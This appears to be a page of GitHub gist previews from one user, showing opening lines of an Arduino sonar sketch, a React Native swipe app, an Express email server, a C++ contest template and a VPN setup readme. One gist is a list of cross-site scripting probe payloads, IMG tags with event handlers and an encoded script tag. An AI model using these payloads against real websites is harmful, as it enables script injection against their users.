This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <NewPing.h> | |
#define TRIGGER_PINF 50 | |
#define ECHO_PINF 51 | |
#define TRIGGER_PINR 26 | |
#define ECHO_PINR 28 | |
#define TRIGGER_PINL 48 | |
#define ECHO_PINL 49 | |
#define SONAR_NUM 3 // Number of sensors. | |
#define MAX_DISTANCE 100 // Maximum distance (in cm) to ping. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React from 'react'; | |
import { StyleSheet, Text, View, Dimensions, Image, Animated, PanResponder, ActivityIndicator, ScrollView } from 'react-native'; | |
const SCREEN_HEIGHT = Dimensions.get('window').height | |
const SCREEN_WIDTH = Dimensions.get('window').width | |
import Icon from 'react-native-vector-icons/Ionicons' | |
const Users = [ | |
{ id: "1", uri: require('./assets/1.jpg') }, | |
{ id: "2", uri: require('./assets/2.jpg') }, | |
{ id: "3", uri: require('./assets/3.jpg') }, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const express = require('express'); | |
const app = express(); | |
const bodyParser=require('body-parser'); | |
const nodemailer = require('nodemailer'); | |
app.use(bodyParser.json()); | |
var firebase = require('firebase'); | |
var validator = require("email-validator"); | |
// const bcrypt = require('bcrypt'); | |
const crypto = require('crypto'); | |
// const saltRounds = 10; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <bits/stdc++.h> | |
using namespace std; | |
#define loop(i,n) for(int i = 0; i < (n); i++) | |
#define loopA(i,a,n) for(int i = a; i <= (n); i++) | |
#define loopD(i,a,n) for(int i = a; i >= (n); i--) | |
#define endl "\n" | |
#define mp make_pair | |
#define pb push_back | |
#define pi 3.14159265358979 | |
typedef long long ll; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0. Make sure you have expect or install using "sudo apt install expect" | |
1. Replace cc id(praskr) and password(xyzw) in setup.sh with your own credentials. | |
2. Run setup.sh | |
3. If everthing went well then you can use "iitkvpn_connect" command to connect to VPN | |
Note: | |
a. Scripts, by default, will be installed at: ~/scripts/ | |
b. Forticlient software, by default, will be stored at: ~/Downloads/forticlientsslvpn/ | |
c. Script folder is added into PATH by adding a line in .bashrc. Remove the line if you don't want that. | |
d. Your cc password is stored in ${script_folder}/iitkvpn_connect file! |